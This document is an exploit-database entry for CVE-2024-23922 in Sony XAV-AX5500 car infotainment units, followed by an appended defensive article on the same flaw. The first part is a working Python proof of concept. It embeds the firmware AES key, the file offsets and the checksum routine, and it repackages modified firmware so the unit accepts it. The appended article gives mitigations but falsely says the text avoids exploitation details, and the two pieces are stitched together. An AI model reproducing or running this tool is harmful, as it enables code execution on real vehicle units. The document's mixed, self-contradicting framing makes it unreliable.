Sony XAV-AX5500 1.13 - Firmware Update Validation Remote Code Execution (RCE)
# Exploit Title: Sony XAV-AX5500 Firmware Update Validation Remote Code Execution
# Date: 11-Feb-2025
# Exploit Author: lkushinada
# Vendor Homepage: https://www.sony.com/et/electronics/in-car-receivers-players/xav-ax5500
# Software Link: https://archive.org/details/xav-ax-5500-v-113
# Version: 1.13
# Tested on: Sony XAV-AX5500
# CVE : CVE-2024-23922
# From NIST CVE Details:
# ====
# This vulnerability allows physically present attackers to execute arbitrary code on affected
# installations of Sony XAV-AX5500 devices. Authentication is not required to exploit this
# vulnerability. The specific flaw exists within the handling of software updates. The issue
# results from the lack of proper validation of software update packages. An attacker can leverage
# this vulnerability to execute code in the context of the device.
# Was ZDI-CAN-22939
# ====
# # Summary
# Sony's firmware validation for a number of their XAV-AX products relies on symetric cryptography,
# obscurity of their package format, and a weird checksum method instead of any real firmware
# signing mechanism. As such, this can be exploited to craft updates which bypass firmware validation
# and allow a USB-based attacker to obtain RCE on the infotainment unit.
# What's not mentioned in the CVE advisories, is that this method works on the majority of Sony's
# infotainment units and products which use a similar chipset or firmware package format. Tested
# to work on most firmware versions prior to v2.00.
# # Threat Model
# An attacker with physical access to an automotive media unit can typically utilize other methods
# to achieve a malicious outcome. The reason to investigate the firmware to the extent in this post
# is academic, exploratory, and cautionary, i.e. what other systems are protected in a similar
# manner? if they are, how trivial is it to bypass?
# # Disclaimer
# The information in this article is for educational purposes only.
# Tampering with an automotive system comes with risks which, if you don't understand, you should
# not be undertaking.
# THE AUTHORS DISCLAIM ANY AND ALL RESPONSIBILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES ARISING
# FROM THE USE OF ANYTHING IN THIS DOCUMENT.
# # The Unit
# ## Processors
# - DAC
# - System Management Controller (SMC)
# - Applications Processor
# - Display Processor
# Coming from a mobile and desktop computer environment, one may be use to thinking about
# the Applications Processor as the most powerful chip in the system in terms of processing power,
# size, power consumption, and system hierarchy. The first oddity of this platform is that the
# application processor is not the most powerful; that honor goes to the DAC, a beefy ARM chip on the
# board.
# The application processor does not appear to be the orchestrator of the components on the system.
# The SMC tkes which takes the role of watchdog, power state management, and input (think remote
# controls, steering wheel button presses) routing.
# For our purposes, it is the Applications processor we're interested in, as it is
# the system responsible for updating the unit via USB.
# ## Interfaces
# We're going to be attacking the unit via USB, as it's the most readily exposed
# interface to owners and would-be attackers.
# Whilst the applications processor does have a UART interface, the most recent iterations of the
# unit do not expose any headers for debugging via UART, and the one active UART line found to be
# active was for message passing between the SMC and app processor, not debug purposes. Similarly, no
# exposed JTAG interfaces were found to be readily exposed on recent iterations of the unit. Sony's
# documentation suggests these are not enabled, but this could not be verified during testing. At the
# very least, JTAG was not found to be exposed on an accessible interface.
# ## Storage
# The boards analyzed had two SPI NOR flash chips, one with an unencrypted firmware image on it. This
# firmware was RARd. The contents of SPI flash was analyzed to determine many of the details
# discussed in this report.
# ## The Updater
# Updates are provided on Sony's support website. A ZIP package is provided with three files:
# - SHDS1132.up6
# - SHMC1132.u88
# - SHSO1132.fir
# The largest of these files (8 meg), the .fir, is in a custom format, and appears encrypted.
# The FIR file has a header which contains the date of firmware publication, the strings KRSELCO and
# SKIP, a chunk of zeros, and then a highish entropy section, and some repeating patterns of interest:
# 00002070 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
# *
# 00002860 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
# 00744110 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
# *
# 00800020 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
# ## SPI Flash
# Dumping the contents of the SPI flash shows a similar layout, with slightly different offsets:
# 00001fe0 10 10 10 10 10 10 10 10 ff ff ff ff ff ff ff ff |................|
# 00001ff0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
# *
# 000027f0 ff ff ff ff ff ff ff ff ff ff ff ff 00 03 e7 52 |...............R|
# 00002800 52 61 72 21 1a 07 00 cf 90 73 00 00 0d 00 00 00 |Rar!.....s......|
#
# 0007fff0 ff ff ff ff ff ff ff ff ff ff ff ff 00 6c 40 8b |.............l@.|
# 00080000 52 61 72 21 1a 07 00 cf 90 73 00 00 0d 00 00 00 |Rar!.....s......|
# ...
# 00744090 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
# *
# 00778000
#
# This given the offsets and spacing, we suspect that the .FIR matches the contents of the SPI.
# Decompressing the RARs at the 0x2800 and 0x80000, we get the recovery and main applications.
# Once we remove the packaging bytes, seeing that the repetive patterns align with FF's, gives
# us a strong indication the encryption function is operating in an ECB-style configuration,
# giving us an avenue, even if we do not recover the key, to potentially make modifications
# to the firmware depending on how the checksum is being calculated.
# ## Firmware
# The recovery application contains the decompression, decryption and checksum methods.
# Putting the recovery_16.bin into ghidra and setting the memory map to load us in at 0x2800,
# we start taking a look at the relevant functions by way of:
# - looking for known strings (KRSELCO)
# - analyizing the logic and looking for obvious "if this passed, begin the update, else fail"
# - looking for things that look like encryption (loads of bitshifting math in one function)
# Of interest to us, there is:
# - 0x0082f4 - a strcmp between KRSELCO and the address the incoming firmware update is at, plus 0x10
# - 0x00897a - a function which sums the total number of bytes until we hit 0xA5A5A5A5
# - 0x02d4ce - the AES decryption function
# - 0x040dd4 - strcmp (?)
# - 0x040aa4 - memcpy (?)
# - 0x046490 - the vendor plus the a number an idiot would use for their luggage, followed by enough
# padding zeros to get us to a 16 byte key
# This gives us all the information we need, other than making some guesses as to the general package
# and header layout of the update package, to craft an update packager that allows arbitrary
# modification of the firmware.
# # Proof of Concept
# The PoC below will take an existing USB firmware update, decrypt and extract the main binary,
# pause whilst you make modifications (e.g. changing the logic or modifying a message), and repackage
# the update.
# ## Requirements
# - Unixish system
# - WinRar 2.0 (the version the Egyptians built the pyramids with)
# ## Usage
# cve-2024-23922.py path_to_winrar source.fir output.fir
import argparse
import sys
import os
import tempfile
import shutil
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# Filenames as found in the .FIR
MAIN_BINARY_NAME="main_16.bin"
MAIN_RAR_NAME="main_16.rar"
DECRYPTED_FILE_NAME="decrypt.bin"
ENCRYPTED_FILE_NAME="encrypt.bin"
# Offsets in the .FIR
HEADER_LENGTH=0x80
RECOVERY_OFFSET=0x2800
MAIN_OFFSET=0x80000
CHECKSUM_OFFSET=0x800000-0x10
CHECKSUM_SIZE=0x4
RAR_LENGTH_OFFSET=0x4
RAR_LENGTH_SIZE=0x4
# From 0x46490 in recovery_16.bin
ENCRYPTION_KEY=b'\x54\x41\x4d\x55\x4c\x31\x32\x33\x34\x00\x00\x00\x00\x00\x00\x00'
def decrypt_file(input_file, output_file):
backend = default_backend()
cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
with open(input_file, 'rb') as file:
ciphertext = file.read()
# Strip the unencrypted header
ciphertext = ciphertext[HEADER_LENGTH:]
decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()
with open(output_file, 'wb') as file:
file.write(decrypted_data)
def aes_encrypt_file(input_file, output_file):
backend = default_backend()
cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
encryptor = cipher.encryptor()
with open(input_file, 'rb') as file:
plaintext = file.read()
ciphertext = encryptor.update(plaintext) + encryptor.finalize()
with open(output_file, 'wb') as file:
file.write(ciphertext)
def get_sony_32(data):
csum = int()
for i in data:
csum = csum + i
return csum % 2147483648 # 2^31
def validate_args(winrar_path, source_file, destination_file):
# Check if the WinRAR executable exists and is a file
if not os.path.isfile(winrar_path) or not os.access(winrar_path, os.X_OK):
print(f"[x] Error: The specified WinRAR path '{winrar_path}' is not a valid executable.")
sys.exit(1)
# Check if the source file exists
if not os.path.isfile(source_file):
print(f"[x] Error: The specified source file '{source_file}' does not exist.")
sys.exit(1)
# Read 8 bytes from offset 0x10 in the source file
try:
with open(source_file, 'rb') as f:
f.seek(0x10)
signature = f.read(8)
if signature != b'KRSELECO':
print(f"[x] Error: The source file '{source_file}' does not contain the expected signature.")
sys.exit(1)
except Exception as e:
print(f"[x] Error: Failed to read from '{source_file}': {e}")
sys.exit(1)
# Check if the destination file already exists
if os.path.exists(destination_file):
print(f"[x] Error: The destination file '{destination_file}' already exists.")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="CVE-2024-23922 Sony XAV-AX5500 Firmware Modifier")
parser.add_argument("winrar_path", help="Path to WinRAR 2.0 executable (yes, the ancient one)")
parser.add_argument("source_file", help="Path to original .FIR file")
parser.add_argument("destination_file", help="Path to write the modified .FIR file to")
args = parser.parse_args()
validate_args(args.winrar_path, args.source_file, args.destination_file)
RAR_2_PATH = args.winrar_path
GOOD_FIRMWARE_FILE = args.source_file
DESTINATION_FIRMWARE_FILE = args.destination_file
# make temporary directory
workdir = tempfile.mkdtemp(prefix="sony_firmware_modifications")
# copy the good firmware file into the temp directory
temp_fir_file = os.path.join(workdir, os.path.basename(GOOD_FIRMWARE_FILE))
shutil.copyfile(GOOD_FIRMWARE_FILE, temp_fir_file)
print("[+] Cutting the head off and decrypting the contents")
decrypted_file_path = os.path.join(workdir, DECRYPTED_FILE_NAME)
decrypt_file(input_file=temp_fir_file, output_file=decrypted_file_path)
print("[+] Dump out the rar file")
with open(decrypted_file_path, 'rb') as file:
# right before the rar file there is a 4 byte length header for the rar file. get that.
file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
original_rar_length = int.from_bytes(file.read(RAR_LENGTH_SIZE), "big")
rar_file_bytes = file.read(original_rar_length)
# now dump that out
rar_file_path=os.path.join(workdir, MAIN_RAR_NAME)
with open(rar_file_path, 'wb') as rarfile:
rarfile.write(rar_file_bytes)
# check that the stat of the file matches what the header told us
dumped_rar_size = os.stat(rar_file_path).st_size
if dumped_rar_size != original_rar_length:
print("[!] extracted filesizes dont match, there may be corruption", dumped_rar_size, original_rar_length)
print("[+] Extracting the main binary from the rar file")
os.system("unrar x " + rar_file_path + " " + workdir)
print("[!] Okay, I'm now going to wait until you have had a chance to make modifications")
print("Please modify this file:", os.path.join(workdir, MAIN_BINARY_NAME))
input()
print("[+] Continuing")
print("[+] Putting your main binary back into the rar file")
os.system("wine " + RAR_2_PATH + " u -tk -ep " + rar_file_path + " " + workdir + "/" + MAIN_BINARY_NAME)
# we could fix this by writing some FFs
new_rar_size=os.stat(rar_file_path).st_size
if dumped_rar_size > os.stat(rar_file_path).st_size:
print("[!!] The rar size is smaller than the old one. This might cause a problem.")
print("[!!] Push any key to continue, ctrl+c to abort")
input()
with open(decrypted_file_path, 'r+b') as file:
# right before the rar file there is a 4 byte length header for the rar file. go back there
file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
# overwrite the old size with the new size
file.write(new_rar_size.to_bytes(RAR_LENGTH_SIZE, "big"))
print("[+] Deleting the old rar from the main container")
# delete the old rar from the main container by FFing it up
file.write(b'\xFF'*original_rar_length)
# seek back to the start
file.seek(MAIN_OFFSET)
print("[+] Loading the new rar back into the main container")
with open(rar_file_path, 'rb') as rarfile:
new_rarfile_bytes = rarfile.read()
file.write(new_rarfile_bytes)
print("[+] Updating Checksum")
with open(decrypted_file_path, 'rb') as file:
contents = file.read()
contents = contents[:-0x0010]
s32_sum = get_sony_32(contents)
with open(decrypted_file_path, 'r+b') as file:
file.seek(CHECKSUM_OFFSET)
# read out the current checksum
old_checksum_bytes=file.read(CHECKSUM_SIZE)
print("old checksum:", int.from_bytes(old_checksum_bytes, "big"), old_checksum_bytes)
# go back and update it with new checksum
print("new checksum:", s32_sum, hex(s32_sum))
new_checksum_bytes=s32_sum.to_bytes(CHECKSUM_SIZE, "big")
file.seek(CHECKSUM_OFFSET)
file.write(new_checksum_bytes)
print("[+] Encrypting the main container back up")
encrypted_file_path = os.path.join(workdir, ENCRYPTED_FILE_NAME)
aes_encrypt_file(decrypted_file_path, encrypted_file_path)
print("[+] Reattaching the main container to the header and writing to dest")
with open(DESTINATION_FIRMWARE_FILE, 'wb') as file:
with open(temp_fir_file, 'rb') as firfile:
header = firfile.read(HEADER_LENGTH)
file.write(header)
with open(encrypted_file_path, 'rb') as encfile:
enc_contents = encfile.read()
file.write(enc_contents)
print("[+] DONE!!! Any key to delete temp files, ctrl+c to keep them.")
input()
shutil.rmtree(workdir)
if __name__ == "__main__":
main() Sony XAV-AX5500 v1.13 Firmware Validation RCE (CVE-2024-23922) — Analysis, Impact, and Mitigations
Summary: CVE-2024-23922 describes a firmware update validation weakness in certain Sony XAV-series infotainment units that allowed a physically-present attacker to achieve remote code execution (RCE) on the device by bypassing the firmware validation logic. The root cause is an insecure update-validation design (symmetric cryptography/obscurity and weak checksum-based integrity checks instead of cryptographic signing). This article explains the technical causes at a high level, the risks and attack surface, indicators of compromise, and practical mitigation and remediation advice for device owners and vendors.
What happened (high-level)
The affected Sony unit accepted firmware update packages using a validation scheme that relied on secrecy/obscurity and a reversible symmetric mechanism rather than strong, verifiable signatures. Because the validation relied on weak integrity checks and reversible cryptography, an attacker with physical access to media presented to the unit (for example, via USB) could craft an update package that the device would accept and then execute arbitrary code within the device’s application context.
Why this is serious
- Infotainment units run persistent software with access to vehicle networks and user data; code execution there can impact privacy and safety-related features.
- The vulnerability does not require user authentication — a physically present actor with access to a USB port can exploit it.
- Multiple product lines that re-use the same update mechanism or platform components may share the weakness.
Technical root causes (non-actionable)
Key design failures that produced this class of vulnerability:
- Lack of asymmetric signatures: A robust update model uses private keys for signing firmware and public keys embedded in devices for verification. This design allows anyone to verify a package without exposing a key that can be used to create malicious packages. The affected devices instead relied on a symmetric/obscure validation approach, which makes it possible for an attacker who learns or recreates the symmetric mechanism to craft valid-looking updates.
- Weak integrity checks: Use of simplistic checksums or truncated arithmetic sums rather than authenticated cryptographic hashes or MACs can be manipulated or recomputed by an attacker who changes package contents.
- Encryption without authentication: Encrypting blocks with a reversible cipher (especially in ECB-like use) without an authentication layer (e.g., HMAC or AEAD) permits tampering and complicated verification bypasses.
- Reused or embedded keys/strings: Using a static key or vendor-supplied byte sequence embedded in binaries can be trivially discovered through reverse engineering and used to craft malicious images.
Threat model and realistic attack scenarios
Keep in mind that this vulnerability requires physical access to the device or to removable media that the device will accept. Typical malicious scenarios include:
- An attacker with short-term physical access to a parked vehicle loads a tampered firmware package on a USB flash drive and triggers an update.
- Malicious accessories or USB devices sold to customers contain pre-crafted update payloads that execute covertly when connected.
- A compromised repair or service environment applies a modified update image that persists and provides remote capabilities later.
Because the exploitation path relies on bypassing update validation, the attacker’s goals are often to modify user-facing UI, persist malware, exfiltrate data, or pivot to other in-vehicle networks if connections exist.
Indicators of compromise (IoCs) and detection guidance
- Unexpected or repeated update prompts without vendor-origin metadata.
- Presence of non-vendor firmware files or unrecognized archives on USB/SD media presented to the unit.
- Unusual device behavior after an update — changed UI strings, extra menus, unexpected reboots, unexpected network activity (if connected), or new background processes.
- Firmware image mismatches when comparing device flash contents to vendor-supplied images (binary diffs, unexpected sections, or modified header fields).
- Forensic artifacts: timestamps in flash that don’t align with official release dates, modified checksums, or presence of developer/test strings.
Detection steps (for owners and forensic teams):
- Keep a known-good firmware image from the vendor for binary comparison.
- Collect device logs and, where possible, memory or flash dumps and compare checksums/hashes to vendor images.
- Monitor vehicle network traffic for abnormal flows after updates.
Immediate mitigations for owners and fleet operators
- Apply vendor-supplied firmware updates from official channels as soon as patches are available.
- Do not allow untrusted USB devices or removable media to be used for firmware updates. Only use authorized media and follow vendor instructions.
- Physically secure vehicles to prevent unauthorized access to exposed interfaces (USB, OBD-II, etc.).
- Limit who can perform maintenance and firmware updates — use authorized service centers with validated processes.
- Where possible, disable automatic acceptance of firmware on removable media or require manual confirmation with clear vendor metadata displayed before updating.
Vendor guidance — secure firmware update design checklist
Vendors should treat firmware update systems as high-risk attack surfaces. Recommended controls:
- Asymmetric signing: Sign firmware images with a device manufacturer private key; embed only the verifying public key (or a certificate chain root) in each device. Use robust signature schemes (e.g., RSA-PSS or ECDSA with SHA-256/384).
- Authenticated encryption / AEAD: If firmware payloads are encrypted, use authenticated encryption (e.g., AES-GCM) so tampering is detectable.
- Secure Boot: Enforce a boot chain that verifies signatures at each stage; hardware-rooted keys are ideal.
- Per-device or per-family keys: Where appropriate, provision unique device keys or use a certificate hierarchy to reduce the impact of key compromise.
- Rollback protection: Prevent installation of older signed images once a device has moved beyond a specified version to avoid replay attacks.
- HSM / key protection: Store private keys in secure environments (HSMs) and avoid embedding private keys or symmetric keys in shipped firmware.
- Transparent update metadata: Provide visible, human-readable metadata (version, signer, release notes) and require operator confirmation for updates from removable media.
- Robust logging and update telemetry: Keep signed logs of update attempts, success/failure reasons, and any integrity verification failures; provide remote reporting for fleets to detect anomalies.
Secure firmware validation — defensive example
The following code demonstrates a defensive pattern: verifying a firmware image signature using an asymmetric algorithm (RSA-PSS with SHA-256). This example is intentionally generic and non-vendor-specific. It shows how a device could verify a signed firmware payload before accepting it.
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
# Load public key (embedded or provisioned in device)
with open("vendor_public_key.pem", "rb") as key_file:
public_key = serialization.load_pem_public_key(key_file.read())
# Firmware and signature (collected from incoming package)
with open("firmware.bin", "rb") as f:
firmware = f.read()
with open("firmware.sig", "rb") as s:
signature = s.read()
# Verify signature using RSA-PSS and SHA-256
try:
public_key.verify(
signature,
firmware,
padding.PSS(
mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH
),
hashes.SHA256()
)
print("Signature valid — accept firmware")
except Exception as e:
print("Signature verification failed — reject firmware:", e)Explanation: This snippet loads a PEM-encoded public key (embedded in the device or provisioned securely), reads the firmware payload and its detached signature, and then verifies the signature using RSA-PSS with SHA-256. If verification fails, the device rejects the update. Devices should also verify payload versioning and provide rollback protection.
Additional defensive checks
- Compute and compare a cryptographic hash (SHA-256/384) of the firmware alongside the signature for a secondary check.
- Validate firmware structure and manifest (file sizes, declared sections, length fields) with strict bounds checking to avoid parsing vulnerabilities.
- Apply principle of least privilege: run update unpackers in restricted contexts and perform integrity checks before any code is executed.
Forensic and incident response advice
If you suspect a device has been compromised:
- Preserve the device and any media (USB drives) used — do not power-cycle if volatile evidence is needed, but balance with safety if the vehicle is in use.
- Collect device logs, event timestamps, and a full image of non-volatile storage where possible (SPI/NOR flash, eMMC). Use read-only tools to avoid altering evidence.
- Compare device images to vendor-supplied images (if available). A binary diff can show modified code or added persistence mechanisms.
- Engage vendor/technical support early to coordinate patching and analyze whether the compromise could lead to lateral vehicle impacts (CAN bus, telematics, Bluetooth, etc.).
Long-term recommendations for automotive OEMs
- Standardize secure update mechanisms across product families so design mistakes are not replicated.
- Adopt threat modeling and penetration testing specifically focused on update flows and removable media vectors.
- Implement hardware-backed root-of-trust where feasible (secure element, TPM-like capabilities, or dedicated MCU protections).
- Provide easy-to-follow guidance for vehicle owners about how to receive authentic updates and how to verify update provenance.
Responsible disclosure and patch status
CVE-2024-23922 was publicly documented alongside vendor advisories and patches for affected units. Device owners should consult the official Sony support pages and apply the vendor-issued firmware updates. Fleet managers and service providers should prioritize any vendor-supplied remediation and review their update policies.
References and further reading
- Vendor product pages and official firmware download/update instructions (consult the device manufacturer).
- CVE database entry: CVE-2024-23922 (for high-level tracking and status).
- Guidance on secure firmware updates: research literature on secure boot, signed firmware, and authenticated encryption (NIST and industry best practices).
| Audience | Immediate action |
|---|---|
| End users | Install vendor patches, avoid unknown USB devices, restrict physical access. |
| Fleet/operators | Audit update procedures, verify vendor-signed updates, introduce validation controls. |
| OEMs | Replace symmetric/obscure validation with asymmetric signatures and AEAD; implement secure boot and HSM-backed keys. |
Note: This article intentionally avoids step-by-step exploitation instructions or reproduction details. The goal is to explain the vulnerability class, the risks, and how to mitigate them, not to provide code or tactics that could be used maliciously.